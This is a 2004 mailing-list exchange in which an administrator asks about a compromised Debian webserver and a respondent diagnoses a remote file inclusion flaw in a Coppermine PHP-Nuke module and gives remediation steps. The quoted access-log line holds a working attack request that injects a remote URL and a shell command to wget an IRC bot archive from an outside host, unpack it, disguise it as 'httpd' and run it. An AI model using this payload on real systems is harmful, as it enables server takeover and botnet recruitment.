Re: Advice needed, trying to find the vulnerable code on Debian webserver.
On Sat, Jun 19, 2004 at 10:42:56AM +1000, Ross Tsolakidis wrote:
> Hi all,
>
> I did a search in the logs on some of the suspicious users and found a
> match.
> The files that are being downloaded then executed see to be IRC bots.
> http://www.energymech.net/
>
> Here are some log files.
>
> 193.95.112.71 - - [18/Jun/2004:22:57:04 +1000] "GET
> /modules/coppermine/themes/default/theme.php?THEME_DIR=http://www.mirabe
> la.net/a.txt?&cmd=cd%20/tmp/;wget%20www.corbeanu.as.ro/fast.tgz;tar%20xz
> vf%20fast.tgz;cd%20fastmech;mv%20fastmech%20httpd;./httpd HTTP/1.0" 200
> 6461 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
>
> All those executables in the /tmp dir seem to be all coming from that
> site on our box, definitely the culprit.
>
> Can someone explain what is going on here ?
> Cause it doesn't make any sense.
There seems to be some buggy PHP code being used on that site, which
is allowing the remote inclusion of content from the mirabella.net
site - this is being abused to run code upon your host.
You should immediately disable the coppermine PHPNuke module and
get it patched, upgraded, or replaced.
Going to securityfocus.com and searching the mailing lists for
coppermine pulls up multiple hits describing problems - for example
this post:
http://www.securityfocus.com/archive/1/361976
Notice the URLs on section E2? They match yours..
See this one for more details too:
http://www.securityfocus.com/archive/1/361976
Two things you can do immediately to stop this particular exploit
are run safe mode for PHP, and firewall off access to mirabella.net.
> What steps should I take now ?
Remove PHP Nuke, check the logs for other activity, make sure your
kernel is patched against local root via the recent wholes, and
look at using a locked down PHP installation - I'm not sure how
PHPNuke will work with that, but it's gotta be worth a try.
Steve
--
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